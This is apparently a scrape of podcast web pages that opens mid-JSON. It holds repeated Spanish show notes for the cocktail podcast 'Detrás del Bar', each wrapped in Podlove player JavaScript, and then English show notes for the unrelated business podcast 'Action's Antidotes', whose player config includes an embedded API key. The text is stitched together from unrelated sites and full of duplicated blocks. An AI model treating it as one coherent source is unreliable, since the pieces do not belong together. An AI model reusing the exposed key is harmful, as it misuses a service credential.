Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513",

Esta vez conversamos con el equipo de Bartenders en Movimiento desde Perú. Ellos son un grupo de embajadores de marcas de un mismo importador premium que decidieron descentralizar el conocimiento de bares y bebidas para todas los interesados que no podían dirigirse hasta la capital del Perú. Se han expandido también por medio de su podcast donde comparten sus experiencias y conocimientos en el área de bares y coctelería. Personalmente disfrute mucho la conversación con este grupo de profesionales. Espero que tú también lo hagas.   Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/LEf2zHU3KKE Episodios Relacionados Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: http://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: http://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-633232227f581"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3717","data":{"title":"ud83cudf76 PRE BATCH de Cu00d3CTELES ud83eudd43","duration":null,"link":"https://www.barspeakeasy.com/podcast/pre-batch-de-cocteles/","poster":"https://www.barspeakeasy.com/wp-content/uploads/PORTADA-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep50-1/EP50.m4a","size":"9035819","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000",

Bares y Cócteles es un podcast dirigido por Israel Lara desde México. En su podcast conversa de una manera muy amena con invitados del gremio compartiendo sus experiencias detras de la barra, en competencias y hasta recibiendo premiaciones de la talla de 5o Best Bars o Tales of The Cocktails. En esta oportunidad conocemos un poco sobre porqué decidió hacer podcast, qué es lo que saca de esa experiencia y lo que viene (incluye primicia). Recuerda que al final le hicimos el reto del Spead Round en el que le hacemos tres preguntas personales de respuesta rápida. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/Ut9H6nS7gkM Episodios Relacionados Otros links de interés: Nuestro alojador web: Siteground: https://barspeakeasy.com/hosting   Prueba Canva Pro por 45 días: https://barspeakeasy.com/canvapro  ¿Te gustaría que te avisemos cuando salga un nuevo episodio SUSCRIBETE AQUÍ document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-63323222803ed"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4054","data":{"title":"BARES Y Cu00d3CTELES: un podcast de la INDUSTRIA desde Mu00e9xico","duration":null,"link":"https://www.barspeakeasy.com/podcast/bares-y-cocteles-un-podcast-de-la-industria-desde-mexico/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-4-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep54-1/EP54.m4a","size":"25714483","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513",

Bares y Cócteles es un podcast dirigido por Israel Lara desde México. En su podcast conversa de una manera muy amena con invitados del gremio compartiendo sus experiencias detras de la barra, en competencias y hasta recibiendo premiaciones de la talla de 5o Best Bars o Tales of The Cocktails. En esta oportunidad conocemos un poco sobre porqué decidió hacer podcast, qué es lo que saca de esa experiencia y lo que viene (incluye primicia). Recuerda que al final le hicimos el reto del Spead Round en el que le hacemos tres preguntas personales de respuesta rápida. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/Ut9H6nS7gkM Episodios Relacionados Otros links de interés: Nuestro alojador web: Siteground: https://barspeakeasy.com/hosting   Prueba Canva Pro por 45 días: https://barspeakeasy.com/canvapro  ¿Te gustaría que te avisemos cuando salga un nuevo episodio SUSCRIBETE AQUÍ document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2b9248c"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4054","data":{"title":"BARES Y Cu00d3CTELES: un podcast de la INDUSTRIA desde Mu00e9xico","duration":"00:40:27","link":"https://www.barspeakeasy.com/podcast/bares-y-cocteles-un-podcast-de-la-industria-desde-mexico/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-4-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep54-1/EP54.m4a","size":"25714483","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,

document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-633232228111e"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4022","data":{"title":"NFTs en Licores, Bartender con Inteligencia Artificial, Tendencias para el 2022","duration":null,"link":"https://www.barspeakeasy.com/podcast/noticias-marzo-2022/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-3-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep53-1/EP53.m4a","size":"12452649","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":800},"regular":{"name":"regular","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":300},"bold":{"name":"bold","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":700}}},"base":"https://cdn.podlove.org/web-player/5.x/"}}]); podlovePlayer(player, "https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4022", "https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico").then(function() { player && player.classList.remove("podlove-web-player-loading"); }); }); .podlove-web-player.podlove-web-player-loading { opacity: 0; } Noticias y Tendencias Marzo 2022 Llega nuestro acostumbrado resumen de las noticias y tendencias más importantes del mes. ✔️ Las 6 tendencias que definirán cómo bebemos este 2022 ✔️ NFTs de Licores ✔️ Bulleit crea dos cócteles embotellados  ✔️ Impresora molecular de bebidas ✔️ Primer bartender con Inteligencia Artificial Nos sería de gran ayuda que contestes esta encuesta Links de Interés: Envíanos un mensaje de voz Únete a la Comunidad de Telegram Invítanos un Cóctel Dale amor en Hive Links Mencionados en el Episodio Canal de Twitch https://youtu.be/gRkxcLAmAi8 Qué son los RTD Efectos de los métodos de elaboración de cócteles Cómo se hace el Oleo Sacharum Otros links de interés Nuestro alojador web:   Siteground: https://barspeakeasy.com/hosting   Prueba Canva Pro por 45 días: https://barspeakeasy.com/canvapro Episodios Relacionados  

document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2b93265"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4022","data":{"title":"NFTs en Licores, Bartender con Inteligencia Artificial, Tendencias para el 2022","duration":"00:18:57","link":"https://www.barspeakeasy.com/podcast/noticias-marzo-2022/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-3-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep53-1/EP53.m4a","size":"12452649","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":800},"regular":{"name":"regular","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":300},"bold":{"name":"bold","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":700}}},"base":"https://cdn.podlove.org/web-player/5.x/"}}]); podlovePlayer(player, "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4022", "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico").then(function() { player && player.classList.remove("podlove-web-player-loading"); }); }); .podlove-web-player.podlove-web-player-loading { opacity: 0; } Noticias y Tendencias Marzo 2022 Llega nuestro acostumbrado resumen de las noticias y tendencias más importantes del mes. ✔️ Las 6 tendencias que definirán cómo bebemos este 2022 ✔️ NFTs de Licores ✔️ Bulleit crea dos cócteles embotellados  ✔️ Impresora molecular de bebidas ✔️ Primer bartender con Inteligencia Artificial Nos sería de gran ayuda que contestes esta encuesta Links de Interés: Envíanos un mensaje de voz Únete a la Comunidad de Telegram Invítanos un Cóctel Dale amor en Hive Links Mencionados en el Episodio Canal de Twitch https://youtu.be/gRkxcLAmAi8 Qué son los RTD Efectos de los métodos de elaboración de cócteles Cómo se hace el Oleo Sacharum Otros links de interés Nuestro alojador web:   Siteground: https://barspeakeasy.com/hosting   Prueba Canva Pro por 45 días: https://barspeakeasy.com/canvapro

document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2b96dfc"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3978","data":{"title":"u00bfMenos es mu00e1s en Cocteleru00eda?","duration":"00:12:04","link":"https://www.barspeakeasy.com/podcast/menos-es-mas-en-cocteleria/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-2-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep52-1/EP52.m4a","size":"8150300","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":800},"regular":{"name":"regular","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":300},"bold":{"name":"bold","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":700}}},"base":"https://cdn.podlove.org/web-player/5.x/"}}]); podlovePlayer(player, "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3978", "https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico").then(function() { player && player.classList.remove("podlove-web-player-loading"); }); }); .podlove-web-player.podlove-web-player-loading { opacity: 0; } Cantidad de Ingredientes en Cócteles Un buen cóctel debería tener algo que se llama drinkability (tomabilidad). Capacidad de beber más de uno sin emborrachar, sin sentirse lleno, sin empalagarse (depende del tipo de bebida: aperitivos, digestivos). Puntos importantes Tipo de cóctel: Es un martini, es un tiki, es un long o short drink. Qué es un ingrediente: sólo un zumo, destilado o un falernum, cordial o un bitter. La Simplicidad y el minimalismo no es igual a pereza (delgada línea). La decoración o garnish de verdad aportan algo. Tiene aroma: el 80% de los sabores entran por la nariz. Es agradable visualmente: comemos con los ojos. Links de Interés: Envíanos un mensaje de voz Únete a la Comunidad de Telegram Invítanos un Cóctel Dale amor en Hive Links Mencionados en el Episodio Canal de Twitch https://youtu.be/VmxaU_pPvq8 Qué son los RTD

document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-6332322284b11"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3978","data":{"title":"u00bfMenos es mu00e1s en Cocteleru00eda?","duration":"00:12:04","link":"https://www.barspeakeasy.com/podcast/menos-es-mas-en-cocteleria/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-2-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep52-1/EP52.m4a","size":"8150300","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":800},"regular":{"name":"regular","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":300},"bold":{"name":"bold","family":["-apple-system","BlinkMacSystemFont","Segoe UI","Roboto","Helvetica","Arial","sans-serif","Apple Color Emoji","Segoe UI Emoji", "Segoe UI Symbol"],"src":[],"weight":700}}},"base":"https://cdn.podlove.org/web-player/5.x/"}}]); podlovePlayer(player, "https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3978", "https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico").then(function() { player && player.classList.remove("podlove-web-player-loading"); }); }); .podlove-web-player.podlove-web-player-loading { opacity: 0; } Cantidad de Ingredientes en Cócteles Un buen cóctel debería tener algo que se llama drinkability (tomabilidad). Capacidad de beber más de uno sin emborrachar, sin sentirse lleno, sin empalagarse (depende del tipo de bebida: aperitivos, digestivos). Puntos importantes Tipo de cóctel: Es un martini, es un tiki, es un long o short drink. Qué es un ingrediente: sólo un zumo, destilado o un falernum, cordial o un bitter. La Simplicidad y el minimalismo no es igual a pereza (delgada línea). La decoración o garnish de verdad aportan algo. Tiene aroma: el 80% de los sabores entran por la nariz. Es agradable visualmente: comemos con los ojos. Links de Interés: Envíanos un mensaje de voz Únete a la Comunidad de Telegram Invítanos un Cóctel Dale amor en Hive Links Mencionados en el Episodio Canal de Twitch https://youtu.be/VmxaU_pPvq8 Qué son los RTD Qué es un Hard Seltzer

  Why is it that a majority of employees find their work disengaging and unfulfilling? The ultimate answer to that is a lack of career introspection and the inability to place the right people at the right job. This process has gotten more frustrating over the years, both from the standpoint of the job seeker and the organizations trying to build a team. Tonia Martinez is the founder of Career Transformations and she has had her foot set on both sides. Tonia talks to Stephen Jaye about this continuous struggle of presenting opportunities to the right people. Learn more as Tonia shares how she manages to ignite career transformations across organizational hierarchies. --- Listen to the podcast here: // The provided API key must be valid as an extended API key. window.FuseboxPlayerAPIKey = '736|Bt3uGzU4xc0sddXrD2L8BnN1FwLmic13Qk65z0pZRktxo58SWbNAcFgDsC3FYQ3MK0XyoUWYU7WUaQjG'; window.addEventListener('loadFuseboxPlayer', function(e) { fuseboxPlayer(e.detail).setConfig({   "buttons":[      "download",      "share",      "subscribe"   ],   "buttonConfig":{      "subscribe":{         "rss":{            "url":"https://feeds.podetize.com/rss/dUTnqOrR6A",            "label":"RSS"         },         "apple":{            "url":"https://podcasts.apple.com/us/podcast/actions-antidotes/id1574744528",            "label":"Apple Podcasts"         },         "google":{            "url":"https://podcasts.google.com/search/action's%20antidote",            "label":"Google Podcast"         },         "stitcher":{            "url":"https://www.stitcher.com/podcast/podcast-startpoint/actions-antidotes",            "label":"Stitcher"         },         "spotify":{            "url":"https://open.spotify.com/show/4CoKbLyO7mJ6qSUvqjDbsQ",            "label":"Spotify"         },         "tunein":{            "url":"https://tunein.com/radio/Actions-Antidotes-p1469325/",            "label":"TuneIn"         },         "overcast":{            "url":"https://overcast.fm/itunes1574744528/actions-antidotes",            "label":"Overcast"         }      }   },   "color":"#4E8EE6",   "controls":[      "rewind"   ],   "cover":{      "link":false,      "imageUrl":"",      "url":"#"  },   "coverDisplay":false,   "sticky":false,   "style":"regular",   "position":"bottom",   "title":"Action's Antidotes",   "tracks":[      {         "episodeNo": 43,         "title":"Igniting Career Transformations: Aligning Employee And Organizational Values With Tonia Martinez",         "file":"https://media.blubrry.com/actions_antidotes/content.blubrry.com/actions_antidotes/ACAN_43_Tonia_Martinez.mp3",         "description": "Why is it that a majority of employees find their work disengaging and unfulfilling? The ultimate answer to that is a lack of career introspection and the inability to place the right people at the right job. This process has gotten more frustrating over the years, both from the standpoint of the job seeker and the organizations trying to build a team. Tonia Martinez is the founder of Career Transformations and she has had her foot set on both sides. Tonia talks to Stephen Jaye about this continuous struggle of presenting opportunities to the right people. Learn more as Tonia shares how she manages to ignite career transformations across organizational hierarchies.",         "duration":3703,         "featured":false      }   ] }); }); Igniting Career Transformations: Aligning Employee And Organizational Values With Tonia Martinez One way, a lot of people settle for less is in their jobs and careers. I have seen some conflicting numbers around what percentage of people are satisfied with their jobs but all of ...

  When you start a business, you need two things: a vision and culture. So how do you build these two things? Stephen Jaye interviews the CEO of Management Insight, Todd Wheeler, on the role of leadership and communication. Todd also discusses the importance of community, learning to focus on the right things and understanding. Starting up a business? Or are you looking to improve an existing one? Then tune in and learn valuable lessons from Todd. --- Listen to the podcast here: // The provided API key must be valid as an extended API key. window.FuseboxPlayerAPIKey = '736|Bt3uGzU4xc0sddXrD2L8BnN1FwLmic13Qk65z0pZRktxo58SWbNAcFgDsC3FYQ3MK0XyoUWYU7WUaQjG'; window.addEventListener('loadFuseboxPlayer', function(e) { fuseboxPlayer(e.detail).setConfig({ "buttons":[ "download", "share", "subscribe" ], "buttonConfig":{ "subscribe":{ "rss":{ "url":"https://feeds.podetize.com/rss/dUTnqOrR6A", "label":"RSS" }, "apple":{ "url":"https://podcasts.apple.com/us/podcast/actions-antidotes/id1574744528", "label":"Apple Podcasts" }, "google":{ "url":"https://podcasts.google.com/search/action's%20antidote", "label":"Google Podcast" }, "stitcher":{ "url":"https://www.stitcher.com/podcast/podcast-startpoint/actions-antidotes", "label":"Stitcher" }, "spotify":{ "url":"https://open.spotify.com/show/4CoKbLyO7mJ6qSUvqjDbsQ", "label":"Spotify" }, "tunein":{ "url":"https://tunein.com/radio/Actions-Antidotes-p1469325/", "label":"TuneIn" }, "overcast":{ "url":"https://overcast.fm/itunes1574744528/actions-antidotes", "label":"Overcast" } } }, "color":"#4E8EE6", "controls":[ "rewind" ], "cover":{ "link":false, "imageUrl":"", "url":"#" }, "coverDisplay":false, "sticky":false, "style":"regular", "position":"bottom", "title":"Action's Antidotes", "tracks":[ { "episodeNo": 42, "title":"Build Your Business Vision And Culture With Management Insights Founder Todd Wheeler", "file":"https://media.blubrry.com/actions_antidotes/content.blubrry.com/actions_antidotes/ACAN_42_Todd_Wheeler.mp3", "description": "When you start a business, you need two things: a vision and culture. So how do you build these two things? Stephen Jaye interviews the CEO of Management Insight, Todd Wheeler, on the role of leadership and communication. Todd also discusses the importance of community, learning to focus on the right things and understanding. Starting up a business? Or are you looking to improve an existing one? Then tune in and learn valuable lessons from Todd.", "duration":3703, "featured":false } ] }); }); Build Your Business Vision And Culture With Management Insights Founder Todd Wheeler One important aspect of everybody's lives or most people's lives is work culture, organizational culture, the culture that we all spend a good part of our days in. These things are changing. The Great Resignation assertion of what a lot of people have been feeling for years, what they want out of their work culture, which is an organization that benefits, values them and is still pretty early into this whole transformation. We are going to take a little while before we see how this entire thing turns out. However, there are a lot of interesting things going on in this field, hopefully leading us toward a better and more productive work culture in the future. My guest, Todd Wheeler, is the Founder and CEO and by CEO, he refers to as Chief Enthusiasm Officer of an organization call...

